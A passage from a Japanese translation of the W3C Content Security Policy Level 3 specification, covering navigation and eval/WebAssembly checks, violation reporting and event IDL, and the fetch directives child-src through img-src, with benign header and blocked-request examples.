      3. それ以外の場合、violation§ 2.4.1 グローバル・ポリシー・ディレクティブ用違反オブジェクト作成現在の設定オブジェクトグローバルオブジェクトpolicydirective-name で実行した結果とする。

      4. violationresource を "inline" に設定する。

      5. violationelementelement に設定する。

      6. directive が "'report-sample'" を 含む場合、violationsamplesource の先頭40文字の部分文字列に設定する。

      7. § 5.5 違反を報告するviolation に対して実行する。

      8. policyディスポジション が "enforce" なら、result を "Blocked" に設定する。

  4. result を返す。

4.2.4. navigation requesttype はContent Security Policyでブロックされるべきか?

リクエスト navigation request と文字列 type ("form-submission" または "other")が与えられた場合、このアルゴリズムは有効なポリシーがナビゲーションをブロックする場合 "Blocked" を、そうでなければ "Allowed" を返します:

  1. result を "Allowed" とする。

  2. policynavigation requestポリシーコンテナCSPリスト から順に:

    1. directivepolicy から順に:

      1. directive事前ナビゲーションチェックnavigation requesttypepolicy で実行して "Allowed" を返す場合、次の directive へ。

      2. それ以外の場合、violation§ 2.4.1 グローバル・ポリシー・ディレクティブ用違反オブジェクト作成navigation requestclientグローバルオブジェクトpolicydirectivename で実行した結果とする。

      3. violationresourcenavigation requestURL に設定する。

      4. § 5.5 違反を報告するviolation に対して実行する。

      5. policyディスポジション が "enforce" なら、result を "Blocked" に設定する。

  3. result が "Allowed" で、かつ navigation requestcurrent URLschemejavascript の場合:

    1. policynavigation requestポリシーコンテナCSPリスト から順に:

      1. directivepolicy から順に:

        1. directive-name§ 6.8.2 インラインチェック用の有効ディレクティブを取得する を "navigation" に対して実行した結果とする。

        2. directiveインラインチェック を null, "navigation", navigation requestcurrent URL で実行して "Allowed" を返す場合、次の directive へ。

        3. それ以外の場合、violation§ 2.4.1 グローバル・ポリシー・ディレクティブ用違反オブジェクト作成navigation requestclientグローバルオブジェクトpolicydirective-name で実行した結果とする。

        4. violationresource を "inline" に設定する。

        5. § 5.5 違反を報告するviolation に対して実行する。

        6. policyディスポジション が "enforce" なら、result を "Blocked" に設定する。

  4. result を返す。

4.2.5. navigation requesttypetarget への navigation response はContent Security Policyでブロックされるべきか?

リクエスト navigation requestレスポンス navigation responseCSPリスト response CSP list、文字列 type("form-submission" または "other")、navigable target が与えられた場合、このアルゴリズムは有効なポリシーがナビゲーションをブロックする場合 "Blocked" を、そうでなければ "Allowed" を返します:

  1. result を "Allowed" とする。

  2. policyresponse CSP list から順に:

    注: 一部ディレクティブ(例:frame-ancestors)は responseContent Security Policy がナビゲーションに作用することを許可します。

    1. directivepolicy から順に:

      1. directiveナビゲーションレスポンスチェックnavigation requesttypenavigation responsetarget、"response"、policy で実行して "Allowed" を返す場合、次の directive へ。

      2. それ以外の場合、violation§ 2.4.1 グローバル・ポリシー・ディレクティブ用違反オブジェクト作成 を null、policydirectivename で実行した結果とする。

        注: グローバルオブジェクトは存在しないためnullとします:ナビゲーション処理でDocumentがまだ作成されていません。

      3. violationresourcenavigation responseURL に設定する。

      4. § 5.5 違反を報告するviolation に対して実行する。

      5. policyディスポジション が "enforce" なら、result を "Blocked" に設定する。

  3. policynavigation requestポリシーコンテナCSPリスト から順に:

    注: navigation request の文脈の一部ディレクティブ(例:frame-ancestors)はナビゲーションに作用するためレスポンスが必要です。

    1. directivepolicy から順に:

      1. directiveナビゲーションレスポンスチェックnavigation requesttypenavigation responsetarget、"source"、policy で実行して "Allowed" を返す場合、次の directive へ。

      2. それ以外の場合、violation§ 2.4.1 グローバル・ポリシー・ディレクティブ用違反オブジェクト作成navigation requestclientグローバルオブジェクトpolicydirectivename で実行した結果とする。

      3. violationresourcenavigation requestURL に設定する。

      4. § 5.5 違反を報告するviolation に対して実行する。

      5. policyディスポジション が "enforce" なら、result を "Blocked" に設定する。

  4. result を返す。

4.2.6. グローバルオブジェクトのためにCSP初期化を実行する

グローバルオブジェクト globalが与えられた場合、ユーザーエージェントはglobalのCSPを初期化するために次の手順を実行します。このアルゴリズムはglobalが許可されていれば"Allowed"を、そうでなければ"Blocked"を返します:

  1. result を "Allowed" とする。

  2. policyglobalCSPリスト から順に:

    1. directivepolicy から順に:

      1. directive初期化アルゴリズムをglobalに対して実行し、その返り値が"Blocked"の場合、resultを"Blocked"に設定する。

  3. resultを返す。

4.3. WebRTCとの統合

administratively-prohibitedアルゴリズムは、呼び出し時に§ 4.3.1 グローバルのRTC接続をブロックすべきか?を呼び出し、"Blocked"を返した場合は全ての候補を禁止します。

4.3.1. globalのRTC接続はブロックされるべきか?

グローバルオブジェクト globalが与えられた場合、このアルゴリズムはglobalの有効なポリシーがRTC接続をブロックする場合は"Blocked"、そうでなければ"Allowed"を返します:

  1. result を "Allowed" とする。

  2. policyglobalCSPリスト から順に:

    1. directivepolicy から順に:

      1. directiveWebRTC事前接続チェックを実行し"Allowed"を返す場合は続行

      2. それ以外の場合、violation§ 2.4.1 グローバル・ポリシー・ディレクティブ用違反オブジェクト作成globalpolicydirectivenameで実行した結果とする。

      3. violationresource を null に設定する。

      4. § 5.5 違反を報告するviolation に対して実行する。

      5. policyディスポジション が "enforce" なら、result を "Blocked" に設定する。

  3. result を返す。

4.4. ECMAScriptとの統合

ECMAScriptはHostEnsureCanCompileStrings() 抽象操作を定義しており、ホスト環境が文字列のECMAScriptコードへのコンパイルをブロックできるようにしています。本書は、その抽象操作の実装として、関連するCSPリストを調べ、コンパイルがブロックされるべきかどうかを判断します。

4.4.1. EnsureCSPDoesNotBlockStringCompilation(realm, parameterStrings, bodyString, codeString, compilationType, parameterArgs, bodyArg)

realm realm、文字列のリスト parameterStrings、文字列 bodyString、文字列 codeString、列挙型 (compilationType)、 ECMAScript言語値のリスト (parameterArgs)、ECMAScript言語値 (bodyArg) が与えられた場合、このアルゴリズムは文字列コンパイルが許可されるなら通常通り返し、許可されないなら"EvalError"を投げます:

  1. compilationType が "TIMER" の場合:

    1. sourceStringcodeString とする。

  2. それ以外の場合:

    1. compilationSinkcompilationType が "FUNCTION" なら"Function"、それ以外なら"eval"とする。

    2. isTrustedbodyArgTrustedScript実装していればtrue、そうでなければfalseとする。

    3. isTrusted が true なら:

      1. bodyStringbodyArgdataと等しくない場合、isTrusted を false に設定する。

    4. isTrusted が true なら:

      1. 保証:parameterArgsの[list/size=]は[parameterStrings]のsizeと等しい。

      2. index範囲0~|parameterArgs|の間で:

        1. argparameterArgs[index] とする。

        2. argTrustedScript実装している場合:

          1. parameterStrings[index] が argdataと等しくない場合、isTrustedをfalseにする。

        3. それ以外の場合、isTrustedをfalseにする。

    5. sourceToValidate新規TrustedScript オブジェクトとしてrealmで生成し、dataプロパティはisTrustedがtrueならcodeString、そうでなければcodeStringとする。

    6. sourceStringGet Trusted Type compliant stringアルゴリズムを TrustedScriptrealmsourceToValidatecompilationSink'script' に対して実行した結果とする。

    7. このアルゴリズムがエラーを投げた場合はEvalErrorを投げる。

    8. sourceStringcodeStringと等しくない場合はEvalErrorを投げる。

  3. result を "Allowed" とする。

  4. globalrealmグローバルオブジェクトとする。

  5. policyglobalCSPリスト から順に:

    1. source-list を null とする。

    2. policyディレクティブで名前が"script-src"であるものを含めば、source-listをそのディレクティブに設定する。

      それ以外でpolicyが名前が"default-src"であるディレクティブを含めば、source-listをそのディレクティブのに設定する。

    3. source-listがnullでなければ:

      1. trustedTypesRequiredDoes sink type require trusted types?realm'script'falseで実行した結果とする。

      2. trustedTypesRequiredがtrueで、source-listソース式で"'trusted-types-eval'"とASCII大文字・小文字を区別しない一致を含む場合、以降の手順をスキップする。

      3. source-listソース式で"'unsafe-eval'"とASCII大文字・小文字を区別しない一致を含む場合、以降の手順をスキップする。

      4. violation§ 2.4.1 グローバル・ポリシー・ディレクティブ用違反オブジェクト作成globalpolicy、"script-src"で実行した結果とする。

      5. violationresource を "eval" に設定する。

      6. source-listが"'report-sample'"を含む場合、violationsamplesourceStringの先頭40文字に設定する。

      7. § 5.5 違反を報告するviolation に対して実行する。

      8. policyディスポジション が "enforce" ならresultを"Blocked"に設定する。

  6. resultが"Blocked"なら、EvalError例外を投げる。

4.5. WebAssemblyとの統合

WebAssemblyはHostEnsureCanCompileWasmBytes() 抽象操作を定義しており、ホスト環境がWebAssemblyソースの実行可能コードへのコンパイルをブロックできるようにしています。本書は、この抽象操作の実装として、関連するCSPリストを調べ、コンパイルがブロックされるべきかどうかを判断します。

4.5.1. EnsureCSPDoesNotBlockWasmByteCompilationrealm

realm realmが与えられた場合、このアルゴリズムはコンパイルが許可されていれば通常通り返し、許可されなければWebAssembly.CompileError を投げます:

  1. globalrealmグローバルオブジェクトとする。

  2. result を "Allowed" とする。

  3. policyglobalCSPリスト から順に:

    1. source-list を null とする。

    2. policyディレクティブで名前が"script-src"であるものを含めば、source-listをそのディレクティブに設定する。

      それ以外でpolicyが名前が"default-src"であるディレクティブを含めば、source-listをそのディレクティブのに設定する。

    3. source-listがnullでなく、かつソース式で"'unsafe-eval'"とのASCII大文字・小文字を区別しない一致を含まず、"'wasm-unsafe-eval'"とのASCII大文字・小文字を区別しない一致も含まない場合:

      1. violation§ 2.4.1 グローバル・ポリシー・ディレクティブ用違反オブジェクト作成globalpolicy、"script-src"で実行した結果とする。

      2. violationresource を "wasm-eval" に設定する。

      3. § 5.5 違反を報告するviolation に対して実行する。

      4. policyディスポジション が "enforce" ならresultを"Blocked"に設定する。

  4. resultが"Blocked"ならWebAssembly.CompileError 例外を投げる。

5. 報告

1つ以上のポリシーの指令が違反された場合、 CSP違反レポートが生成され、 そのポリシーに関連付けられたレポート送信エンドポイントに送信されることがあります。

CSP違反レポートレポートタイプは "csp-violation"です。

CSP違反レポートReportingObserverに可視です。

dictionary CSPViolationReportBody : ReportBody {
  USVString documentURL;
  USVString? referrer;
  USVString? blockedURL;
  DOMString effectiveDirective;
  DOMString originalPolicy;
  USVString? sourceFile;
  DOMString? sample;
  SecurityPolicyViolationEventDisposition disposition;
  unsigned short statusCode;
  unsigned long? lineNumber;
  unsigned long? columnNumber;
};

script-likedestinationに影響する指令にreport-sha256report-sha384またはreport-sha512値があり、 script-like destinationを持つrequestがフェッチされた場合、 CSPハッシュレポートが生成され、 ポリシーに関連付けられたレポート送信エンドポイントに送信されます。

CSPハッシュレポートレポートタイプは "csp-hash" です。

CSPハッシュレポートReportingObserverには可視化されません

CSPハッシュレポート本体は、以下のフィールドを持つ構造体です: documentURLsubresourceURLhashdestinationtype

文書のレスポンスに次のヘッダーが含まれている場合:
Reporting-Endpoints: hashes-endpoint="https://example.com/reports"
Content-Security-Policy: script-src 'self' 'report-sha256'; report-to hashes-endpoint

そして文書がスクリプト "main.js" をロードすると、次のようなレポートが送信されます:

POST /reports HTTP/1.1
Host: example.com
...
Content-Type: application/reports+json

[{
  "type": "csp-hash",
  "age": 12,
  "url": "https://example.com/",
  "user_agent": "Mozilla/5.0 (X11; Linux i686; rv:132.0) Gecko/20100101 Firefox/132.0",
  "body": {
    "document_url": "https://example.com/",
    "subresource_url": "https://example.com/main.js",
    "hash": "sha256-85738f8f9a7f1b04b5329c590ebcb9e425925c6d0984089c43a022de4f19c281",
    "type": "subresource",
    "destination": "script"
  }
}]

5.1. 違反DOMイベント

enum SecurityPolicyViolationEventDisposition {
  "enforce", "report"
};

[Exposed=(Window,Worker)]
interface SecurityPolicyViolationEvent : Event {
    constructor(DOMString type, optional SecurityPolicyViolationEventInit eventInitDict = {});
    readonly    attribute USVString      documentURI;
    readonly    attribute USVString      referrer;
    readonly    attribute USVString      blockedURI;
    readonly    attribute DOMString      effectiveDirective;
    readonly    attribute DOMString      violatedDirective; // historical alias of effectiveDirective
    readonly    attribute DOMString      originalPolicy;
    readonly    attribute USVString      sourceFile;
    readonly    attribute DOMString      sample;
    readonly    attribute SecurityPolicyViolationEventDisposition      disposition;
    readonly    attribute unsigned short statusCode;
    readonly    attribute unsigned long  lineNumber;
    readonly    attribute unsigned long  columnNumber;
};

dictionary SecurityPolicyViolationEventInit : EventInit {
    USVString      documentURI = "";
    USVString      referrer = "";
    USVString      blockedURI = "";
    DOMString      violatedDirective = "";
    DOMString      effectiveDirective = "";
    DOMString      originalPolicy = "";
    USVString      sourceFile = "";
    DOMString      sample = "";
    SecurityPolicyViolationEventDisposition disposition = "enforce";
    unsigned short statusCode = 0;
    unsigned long  lineNumber = 0;
    unsigned long  columnNumber = 0;
};

5.2. 違反のresourceblockedURIを取得する

違反のresource resourceが与えられた場合、このアルゴリズムは違反レポート用のblocked URIフィールドとして使用する文字列を返します。

  1. 保証:resourceURLまたは文字列である。

  2. resourceURLなら、§ 5.4 違反レポート用URLの除去resourceに対して実行した結果を返す。

  3. resourceを返す。

5.3. violationの非推奨シリアライズを取得する

違反 violationが与えられた場合、このアルゴリズムは違反のJSONテキスト文字列表現を返します。これは非推奨のreport-uriディレクティブに関連付けられた報告エンドポイントへの送信に適した形式です。

  1. bodyを、以下のキーで初期化されたマップとする:

    "document-uri"

    § 5.4 違反レポート用URLの除去violationurlに対して実行した結果。

    "referrer"

    § 5.4 違反レポート用URLの除去violationreferrerに対して実行した結果。

    "blocked-uri"

    § 5.2 違反のresourceのblockedURIを取得するviolationresourceに対して実行した結果。

    "effective-directive"

    violation有効ディレクティブ

    "violated-directive"

    violation有効ディレクティブ

    "original-policy"

    violationpolicy直列化

    "disposition"

    violationpolicyディスポジション

    "status-code"

    violationstatus

    "script-sample"

    violationsample

    注: script-sampleという名前はこの機能の初期実装時にFirefoxで実装された従来仕様との互換性のために選ばれました。名前に関わらず、このフィールドはスタイルシートなどのスクリプト以外の違反サンプルも含みます。 SecurityPolicyViolationEvent オブジェクトおよび新しいreport-toディレクティブによるレポートでは、より包括的な名前sampleが使われます。

  2. violationsource fileがnullでない場合:

    1. body["source-file"]を§ 5.4 違反レポート用URLの除去violationsource fileに対して実行した結果に設定する。

    2. body["line-number"]をviolation行番号に設定する。

    3. body["column-number"]をviolation列番号に設定する。

  3. 保証:body["blocked-uri"]が"inline"でない場合、body["sample"]は空文字列である。

  4. infra値をJSONバイト列にシリアライズを «[ "csp-report" → body ]» に対して実行した結果を返す。

5.4. 違反レポート用URLの除去

urlURLの場合、このアルゴリズムは違反レポート用のURLを表す文字列を返します:
  1. urlschemeHTTP(S) schemeでない場合、urlschemeを返す。

  2. urlfragmentを空文字列に設定する。

  3. urlusernameを空文字列に設定する。

  4. urlpasswordを空文字列に設定する。

  5. URL serializerurlに対して実行した結果を返す。

5.5. violationを報告する

違反 violationが与えられた場合、このアルゴリズムはviolationpolicyで指定されたエンドポイントへ報告し、 SecurityPolicyViolationEventviolationelementまたはviolationグローバルオブジェクトで発火します。詳細は以下の通りです:

  1. globalviolationグローバルオブジェクトとする。

  2. targetviolationelementとする。

  3. タスクをキューに追加して、以下の手順を実行する:

    注: ここで「タスクをキューに追加」するのは、イベントのターゲット決定とディスパッチが、違反を引き起こしたJavaScriptによるDOM操作などのタスク完了後に行われるようにするためです。

    1. targetがnullではなく、globalWindowであり、 targetshadow-including rootglobal関連付けられたDocumentでない場合、targetをnullに設定する。

      注: この手順は、違反イベントがviolationpolicyDocumentに接続されている要素にのみ発火されるようにします。 要素がそのドキュメントに接続されていない場合、イベントはその要素ではなくドキュメント自体に発火され、違反がドキュメントのリスナーにも認知されるようになります。

    2. targetがnullの場合:

      1. targetviolationグローバルオブジェクトに設定する。

      2. targetWindowの場合、targettarget関連付けられたDocumentに設定する。

    3. targetEventTarget実装している場合、 イベントsecuritypolicyviolationSecurityPolicyViolationEvent インターフェースでtargetに発火し、属性は以下の通り初期化する:

      documentURI

      § 5.4 違反レポート用URLの除去violationurlに対して実行した結果。

      referrer

      § 5.4 違反レポート用URLの除去violationreferrerに対して実行した結果。

      blockedURI

      § 5.2 違反のresourceのblockedURIを取得するviolationresourceに対して実行した結果。

      effectiveDirective

      violation有効ディレクティブ

      violatedDirective

      violation有効ディレクティブ

      originalPolicy

      violationpolicy直列化

      disposition

      violationディスポジション

      sourceFile

      violationsource fileがnullでなければ§ 5.4 違反レポート用URLの除去violationsource fileに対して実行した結果、そうでなければnull。

      statusCode

      violationstatus

      lineNumber

      violation行番号

      columnNumber

      violation列番号

      sample

      violationsample

      bubbles

      true

      composed

      true

      注: composed 属性をtrueにすることで、このイベントはシャドウツリーへの進入時にもキャプチャされ、シャドウツリーからのバブル時にもバブルします。targetなどはメインツリーに対して正しくスコープされます。

      注: effectiveDirectiveviolatedDirective の値は同じです。これは後方互換性を維持するための仕様です。

    4. もしviolationpolicydirective setが、"report-uri"という名前のdirective directiveを含む場合:

      1. もしviolationpolicydirective setが、 "report-to"という名前のdirectiveを含む場合、残りのサブステップをスキップする。

      2. tokendirectiveから順に:

        1. endpointURL parsertokenを入力、violationurlを基底URLとして実行した結果とする。

        2. endpointが有効なURLでなければ残りのサブステップをスキップ。

        3. requestを新しいリクエストとして以下で初期化する:

          method

          "POST"

          url

          endpoint

          origin

          violationグローバルオブジェクトrelevant settings objectorigin

          traversable for user prompts

          "no-traversable"

          client

          violationグローバルオブジェクトrelevant settings object

          destination

          "report"

          initiator

          ""

          credentials mode

          "same-origin"

          keepalive

          "true"

          header list

          ヘッダーリストに1つのヘッダー(名前"Content-Type"、値"application/csp-report")を含める。

          body

          § 5.3 非推奨違反シリアライズ取得violationへ実行した結果。

          redirect mode

          "error"

          注: requestmodeはデフォルトで"no-cors"になり、レスポンスは完全に無視されます。

        4. Fetch request。結果は無視される。

      注: この処理は全て非推奨です。違反ごとにリクエストが送信されるため、スケーラビリティに欠けます。可能になり次第、ユーザーエージェントから削除されるべきです。

      注: report-uriは、report-toが存在しない場合のみ有効です。つまり、後者が前者を上書きし、新しい仕組みをサポートしないブラウザとの後方互換性が保たれます。

    5. もしviolationpolicydirective setが、"report-to"という名前のdirective directiveを含む場合:

      1. bodyを新しいCSPViolationReportBodyとして以下で初期化:

        documentURL

        § 5.4 違反レポート用URLの除去violationurlに対して実行した結果。

        referrer

        § 5.4 違反レポート用URLの除去violationreferrerに対して実行した結果。

        blockedURL

        § 5.2 違反のresourceのblockedURIを取得するviolationresourceに対して実行した結果。

        effectiveDirective

        violation有効ディレクティブ

        originalPolicy

        violationpolicy直列化

        sourceFile

        violationsource fileがnullでなければ§ 5.4 違反レポート用URLの除去violationsource fileに対して実行した結果、そうでなければnull。

        sample

        violationsample

        disposition

        violationディスポジション

        statusCode

        violationstatus

        lineNumber

        violation行番号violationsource fileがnullでなければ)、そうでなければnull。

        columnNumber

        violation列番号violationsource fileがnullでなければ)、そうでなければnull。

      2. settings objectviolationグローバルオブジェクトrelevant settings objectとする。

      3. Generate and queue a reportを次の引数で実行:

        context

        settings object

        type

        "csp-violation"

        destination

        directive

        data

        body

6. コンテンツセキュリティポリシー指令

この仕様は、開発者がサイトの挙動の特定側面を制御できるようにする複数種の指令を定義します。本書ではリソース取得を制御する指令(§ 6.1 取得指令)、文書状態を制御する指令(§ 6.3 文書指令)、ナビゲーション挙動を制御する指令(§ 6.4 ナビゲーション指令)、報告を制御する指令(§ 6.5 報告指令)を定義します。これらはContent Security Policyの中核を成します。他の指令は補助文書でモジュール的に定義されます(例は§ 6.6 他文書で定義される指令参照)。

クロスサイトスクリプティング攻撃のリスク軽減のため、ウェブ開発者はスクリプトやプラグインのソースを規制する指令を含めるべきです(SHOULD)。具体的には:

いずれの場合も、'unsafe-inline'data:を有効なソースとしてポリシーに含めるべきではありません(SHOULD NOT)。これらはいずれもドキュメント内に直接コードを含めることを許すため、XSS攻撃を容易にします。完全に回避するのが最良です。

6.1. 取得指令

取得指令は、特定のリソース種別をどの場所からロードできるかを制御します。例えば、script-srcは信頼できるスクリプトソースのみページで実行できるようにし、font-srcはウェブフォントのソースを制御します。

6.1.1. child-src

child-src指令は、子ナビゲーション(例: iframeframeナビゲーション)やワーカー実行コンテキストの生成を制御します。指令名と値の構文は次のABNFで表されます:

directive-name  = "child-src"
directive-value = serialized-source-list

この指令は、フレームやワーカーを生成するリクエストを制御します。より形式的には、次のカテゴリのリクエストです:

以下のContent Security Policyが設定されたページの場合:
Content-Security-Policy: child-src https://example.com/

以下のコードによるフェッチは全てネットワークエラーとなります。指定したURLがchild-srcソースリストと一致しないためです:

<iframe src="https://example.org"></iframe>
<script>
  var blockedWorker = new Worker("data:application/javascript,...");
</script>
6.1.1.1. child-src 事前リクエストチェック

この指令の事前リクエストチェックは以下の通り:

request requestpolicy policyが与えられた場合:

  1. name§ 6.8.1 リクエスト用有効指令取得requestに対して実行した結果とする。

  2. § 6.8.4 取得指令実行すべきかnamechild-srcpolicyで実行した結果が"No"なら、"Allowed"を返す。

  3. この指令の事前リクエストチェックを、nameという名前指令に対してrequestpolicyで実行し、この指令のを比較用に用いて返す。

6.1.1.2. child-src 事後リクエストチェック

この指令の事後リクエストチェックは以下の通り:

request requestresponse responsepolicy policyが与えられた場合:

  1. name§ 6.8.1 リクエスト用有効指令取得requestに対して実行した結果とする。

  2. § 6.8.4 取得指令実行すべきかnamechild-srcpolicyで実行した結果が"No"なら、"Allowed"を返す。

  3. この指令の事後リクエストチェックを、nameという名前指令に対してrequestresponsepolicyで実行し、この指令のを比較用に用いて返す。

6.1.2. connect-src

connect-src指令は、スクリプトインターフェースでロード可能なURLを制限します。指令名と値の構文は次のABNFで表されます:

directive-name  = "connect-src"
directive-value = serialized-source-list

この指令は、他オリジンからデータ送受信を行うリクエストを制御します。API例:fetch()[XHR][EVENTSOURCE][BEACON]aping属性など。この指令はFetchの一部ではありませんが、WebSocket [WEBSOCKETS]接続も制御します。

JavaScriptには外部サーバーと直接接続して情報送受信できる仕組みが複数あります。EventSourceはサーバーとのHTTP接続を維持してプッシュ通知を受け取り、WebSocketsは双方向通信チャネルを開き、XMLHttpRequestは任意のHTTPリクエストを送信します。これらは便利ですが、データ流出の経路にもなり得ます。

connect-src指令を使うことで、これらや類似の接続を信頼できるオリジンのみに限定できます。例えば、https://example.comへの接続だけ許可したい場合は次のヘッダーを送信します:

Content-Security-Policy: connect-src https://example.com/

以下のコードによるフェッチは全てネットワークエラーとなります。指定URLがconnect-srcソースリストと一致しないためです:

<a ping="https://example.org">...
<script>
  var xhr = new XMLHttpRequest();
  xhr.open('GET', 'https://example.org/');
  xhr.send();

  var ws = new WebSocket("wss://example.org/");

  var es = new EventSource("https://example.org/");

  navigator.sendBeacon("https://example.org/", { ... });
</script>
6.1.2.1. connect-src 事前リクエストチェック

この指令の事前リクエストチェックは以下の通り:

request requestpolicy policyが与えられた場合:

  1. name§ 6.8.1 リクエスト用有効指令取得requestに対して実行した結果とする。

  2. § 6.8.4 取得指令実行すべきかnameconnect-srcpolicyで実行した結果が"No"なら、"Allowed"を返す。

  3. § 6.7.2.5 リクエストはソースリストと一致するか?request、この指令のpolicyで実行した結果が"Does Not Match"なら、"Blocked"を返す。

  4. "Allowed"を返す。

6.1.2.2. connect-src 事後リクエストチェック

この指令の事後リクエストチェックは以下の通り:

request requestresponse responsepolicy policyが与えられた場合:

  1. name§ 6.8.1 リクエスト用有効指令取得requestに対して実行した結果とする。

  2. § 6.8.4 取得指令実行すべきかnameconnect-srcpolicyで実行した結果が"No"なら、"Allowed"を返す。

  3. § 6.7.2.6 レスポンスはソースリストと一致するか?responserequest、この指令のpolicyで実行した結果が"Does Not Match"なら、"Blocked"を返す。

  4. "Allowed"を返す。

6.1.3. default-src

default-src指令は、他の取得指令のフォールバックとして機能します。指令名と値の構文は次のABNFで表されます:

directive-name  = "default-src"
directive-value = serialized-source-list

default-src指令がポリシーに含まれていれば、その値がポリシーのデフォルトソースリストとして使われます。例えば、default-src 'none'; script-src 'self'の場合、スクリプトリクエストは'self'をソースリストとして用い、それ以外のリクエストは'none'を用います。詳細は§ 4.1.2 リクエストはContent Security Policyでブロックされるべきか?および§ 4.1.3 リクエストのレスポンスはContent Security Policyでブロックされるべきか?アルゴリズム参照。

prefetchpreconnectなどのリソースヒントは、特定の取得指令に紐づかず、ポリシー内全指令のソースリストの和集合で許可サーバーが決まります。default-srcがなければ、これらのリクエストは常に許可されます。詳細は§ 8.6 情報流出参照。[HTML]
次のヘッダー:
Content-Security-Policy: default-src 'self'

は、次のヘッダーと同じ挙動になります:

Content-Security-Policy: connect-src 'self';
                         font-src 'self';
                         frame-src 'self';
                         img-src 'self';
                         manifest-src 'self';
                         media-src 'self';
                         object-src 'self';
                         script-src-elem 'self';
                         script-src-attr 'self';
                         style-src-elem 'self';
                         style-src-attr 'self';
                         worker-src 'self'

つまり、default-srcが設定されていれば、明示的に設定されていない取得指令は全てdefault-srcの値をフォールバックとして使います。

継承はありません。例えばscript-src指令が明示的に指定されていれば、default-srcの値はスクリプトリクエストには影響しません。つまり、以下のヘッダー:
Content-Security-Policy: default-src 'self'; script-src-elem https://example.com

は、次のヘッダーと同じ挙動になります:

Content-Security-Policy: connect-src 'self';
                         font-src 'self';
                         frame-src 'self';
                         img-src 'self';
                         manifest-src 'self';
                         media-src 'self';
                         object-src 'self';
                         script-src-elem https://example.com;
                         script-src-attr 'self';
                         style-src-elem 'self';
                         style-src-attr 'self';
                         worker-src 'self'

この挙動から、サイト用ポリシーを構築する良い方法は、まずdefault-src'none'とし、必要なリソース種別のみ個別に許可するポリシーを積み上げることです。

6.1.3.1. default-src 事前リクエストチェック

この指令の事前リクエストチェックは以下の通り:

request requestpolicy policyが与えられた場合:

  1. name§ 6.8.1 リクエスト用有効指令取得requestに対して実行した結果とする。

  2. § 6.8.4 取得指令実行すべきかnamedefault-srcpolicyで実行した結果が"No"なら、"Allowed"を返す。

  3. この指令の事前リクエストチェックを、nameという名前指令に対してrequestpolicyで実行し、この指令のを比較用に用いて返す。

6.1.3.2. default-src 事後リクエストチェック

この指令の事後リクエストチェックは以下の通り:

request requestresponse responsepolicy policyが与えられた場合:

  1. name§ 6.8.1 リクエスト用有効指令取得requestに対して実行した結果とする。

  2. § 6.8.4 取得指令実行すべきかnamedefault-srcpolicyで実行した結果が"No"なら、"Allowed"を返す。

  3. この指令の事後リクエストチェックを、nameという名前指令に対してrequestresponsepolicyで実行し、この指令のを比較用に用いて返す。

6.1.3.3. default-src インラインチェック

この指令のインラインチェックアルゴリズムは以下の通り:

Element element、文字列typepolicy policy、文字列sourceが与えられた場合:

  1. name§ 6.8.2 インラインチェック用有効指令取得typeに対して実行した結果とする。

  2. § 6.8.4 取得指令実行すべきかnamedefault-srcpolicyで実行した結果が"No"なら、"Allowed"を返す。

  3. それ以外の場合、この指令のインラインチェックを、nameという名前指令に対してelementtypepolicysourceで実行し、この指令のを比較用に用いて返す。

6.1.4. font-src

font-src指令は、フォントリソースをロード可能なURLを制限します。指令名と値の構文は以下のABNFで示されます:

directive-name  = "font-src"
directive-value = serialized-source-list
以下のContent Security Policyが設定されたページの場合:
Content-Security-Policy: font-src https://example.com/

以下のコードによるフェッチはネットワークエラーとなります。指定したURLがfont-srcソースリストと一致しないためです:

<style>
  @font-face {
    font-family: "Example Font";
    src: url("https://example.org/font");
  }
  body {
    font-family: "Example Font";
  }
</style>
6.1.4.1. font-src 事前リクエストチェック

この指令の事前リクエストチェックは以下の通り:

request requestpolicy policyが与えられた場合:

  1. name§ 6.8.1 リクエスト用有効指令取得requestに対して実行した結果とする。

  2. § 6.8.4 取得指令実行すべきかnamefont-srcpolicyで実行した結果が"No"なら、"Allowed"を返す。

  3. § 6.7.2.5 リクエストはソースリストと一致するか?request、この指令のpolicyで実行した結果が"Does Not Match"なら、"Blocked"を返す。

  4. "Allowed"を返す。

6.1.4.2. font-src 事後リクエストチェック

この指令の事後リクエストチェックは以下の通り:

request requestresponse responsepolicy policyが与えられた場合:

  1. name§ 6.8.1 リクエスト用有効指令取得requestに対して実行した結果とする。

  2. § 6.8.4 取得指令実行すべきかnamefont-srcpolicyで実行した結果が"No"なら、"Allowed"を返す。

  3. § 6.7.2.6 レスポンスはソースリストと一致するか?responserequest、この指令のpolicyで実行した結果が"Does Not Match"なら、"Blocked"を返す。

  4. "Allowed"を返す。

6.1.5. frame-src

frame-src指令は、子ナビゲーションにロード可能なURLを制限します。指令名と値の構文は以下のABNFで示されます:

directive-name  = "frame-src"
directive-value = serialized-source-list
以下のContent Security Policyが設定されたページの場合:
Content-Security-Policy: frame-src https://example.com/

以下のコードによるフェッチはネットワークエラーとなります。指定URLがframe-srcソースリストと一致しないためです:

<iframe src="https://example.org/">
</iframe>
6.1.5.1. frame-src 事前リクエストチェック

この指令の事前リクエストチェックは以下の通り:

request requestpolicy policyが与えられた場合:

  1. name§ 6.8.1 リクエスト用有効指令取得requestに対して実行した結果とする。

  2. § 6.8.4 取得指令実行すべきかnameframe-srcpolicyで実行した結果が"No"なら、"Allowed"を返す。

  3. § 6.7.2.5 リクエストはソースリストと一致するか?request、この指令のpolicyで実行した結果が"Does Not Match"なら、"Blocked"を返す。

  4. "Allowed"を返す。

6.1.5.2. frame-src 事後リクエストチェック

この指令の事後リクエストチェックは以下の通り:

request requestresponse responsepolicy policyが与えられた場合:

  1. name§ 6.8.1 リクエスト用有効指令取得requestに対して実行した結果とする。

  2. § 6.8.4 取得指令実行すべきかnameframe-srcpolicyで実行した結果が"No"なら、"Allowed"を返す。

  3. § 6.7.2.6 レスポンスはソースリストと一致するか?responserequest、この指令のpolicyで実行した結果が"Does Not Match"なら、"Blocked"を返す。

  4. "Allowed"を返す。

6.1.6. img-src

img-src指令は、画像リソースをロード可能なURLを制限します。指令名と値の構文は以下のABNFで示されます:

directive-name  = "img-src"
directive-value = serialized-source-list

この指令は画像をロードするリクエストを制御します。より形式的には、リクエストdestinationが"image"であるものを含みます [FETCH]

以下のContent Security Policyが設定されたページの場合:
Content-Security-Policy: img-src https://example.com/

以下のコードによるフェッチはネットワークエラーとなります。指定URLがimg-srcソースリストと一致しないためです:

<img src="https://example.org/img">
6.1.6.1. img-src 事前リクエストチェック

この指令の事前リクエストチェックは以下の通り:

request requestpolicy policyが与えられた場合:

